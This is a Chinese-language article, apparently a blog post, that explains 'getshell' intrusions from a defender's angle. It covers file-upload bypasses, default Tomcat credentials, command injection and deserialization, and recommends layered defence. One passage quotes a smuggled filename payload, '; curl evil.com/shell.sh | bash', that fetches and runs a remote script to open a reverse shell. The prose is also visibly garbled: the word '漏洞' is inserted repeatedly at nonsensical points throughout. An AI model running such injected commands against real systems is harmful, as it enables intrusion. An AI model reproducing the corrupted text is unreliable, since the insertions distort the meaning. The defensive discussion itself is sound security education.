凌晨两点,某金融公司的漏洞安全运维老张收到告警——内网一台测试服务器对外发起异常连接。他登录跳板机一看,漏洞攻击者已经拿到root权限,漏洞正在打包数据库配置文件。漏洞事后溯源发现,漏洞突破口只是漏洞一个上传图片功能,攻击者把PHP代码伪装成GIF文件头,漏洞绕过了文件类型校验。漏洞这就是漏洞典型的getshell——攻击者从“能传文件”变成“能执行命令”,系统边界彻底失守。漏洞
getshell的漏洞核心就一句话:把“数据输入”变成“代码执行”。中间隔着三道墙——输入过滤、漏洞函数禁用、漏洞系统权限。漏洞攻击者要做的是逐层拆墙,防守方则是把每堵墙砌厚。但现实里,很多系统连第一堵墙都是纸糊的。
我见过最蠢也最有效的案例:某后台管理系统允许上传Excel模板,开发人员只检查了文件扩展名。攻击者把文件名改成“report.xlsx.php”,服务端用白名单校验后缀,但Nginx配置里把.php文件交给了PHP解析器——直接绕过。更讽刺的是,这套系统还有SQL注入,攻击者先通过注入拿到管理员密码,登录后台才触发了上传点。两个中危漏洞串联,最终变成一次完整接管。
还有些getshell根本不依赖代码漏洞。某次渗透测试,目标是一个老旧的Tomcat管理后台,默认口令admin/admin没改。攻击者登录后部署了war包——这玩意本身就是可执行代码。整个过程没有绕过任何WAF,没有触发任何规则,纯粹是运维懒。你说这是漏洞吗?严格说不是,但效果比漏洞还致命。
防守方常犯的错是把精力全放在“防文件上传”上,却忽略了其他入口。比如命令注入——很多系统会调用系统命令处理数据,比如ping测试、压缩包解压。攻击者只要在参数里塞个分号,就能拼出第二条命令。我见过一个案例,某网盘系统允许用户在线解压rar文件,后台用exec()调用unrar命令,参数没做过滤。攻击者构造了个文件名,里面包含; curl evil.com/shell.sh | bash,结果直接反弹shell。这跟上传漏洞八竿子打不着,但危害一模一样。
更隐蔽的入口在反序列化。Java和PHP的序列化数据如果被用户控制,攻击者可以构造恶意对象,在反序列化时触发任意代码执行。这类漏洞报出来时往往已经存在好几年——比如Fastjson,从2017年爆出第一个绕过补丁开始,到现在还在不断出新的利用链。防御这类问题,光靠版本升级不够,得从架构上避免反序列化不可信数据。
说到底,getshell不是单一技术点,而是一条攻击链的终点。攻击者先找入口,再找执行点,最后提权。防守方如果只堵入口,攻击者换个门照样进。真正的解法是分层防御:输入校验、最小权限、沙箱隔离、行为监控——每一层都能拦住一部分人,四层叠加,攻击成本才够高。
老张后来复盘那次攻击,发现攻击者从上传到提权只用了11分钟。他问攻击者怎么知道那个上传点能绕过,对方说:“我扫了你们所有接口,只有那个返回了200且没报错。” 漏洞从来不是孤立的,它藏在你没注意到的角落,等着一个懂行的人把它串起来。